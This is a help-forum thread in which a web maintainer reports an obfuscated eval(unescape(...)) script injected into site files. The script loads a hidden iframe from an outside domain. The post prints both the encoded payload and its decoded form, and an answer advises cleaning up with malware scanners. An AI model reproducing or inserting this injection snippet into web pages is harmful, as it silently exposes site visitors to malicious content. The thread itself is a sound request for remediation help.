hiden iframe unescape

Question

started helping a company with a web site a few days ago... i notices some strange code in some html and php files on the server:

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%6E%69%65%73%73%2E%63%6F%6D%2F%3F%32%38%34%36%31%38%37%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>

after decoding it online somewhere i see what it does:

document.write('<iframe src="http://aniess.com/?2846187" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>')

opens a hidden iframe to a malware site?

so i removed the code and asked google webmaster tools to reevaluate the site now that i had removed the code... because google had marked this site as malware bacuse of the hidden iframe that gets added...

but a day later the code was readded to the files on the server... and today local files on my freshly installed win7 machine are getting that code added to the end of every index.htm index.html index.php index.asp and login.*

what is this and how can i remove it? thanks

Answer 1

The reason it was back after it was removed is because your server probably has a backdoor for the intruder to add it again or the malware adds it automatically. You need to clean both the server and your own computer before you try and remove the code again. Try MalwareBytes and other virus scans or recovery disks from a major AV company to remove it. Even a rootkit revealer like Sophos.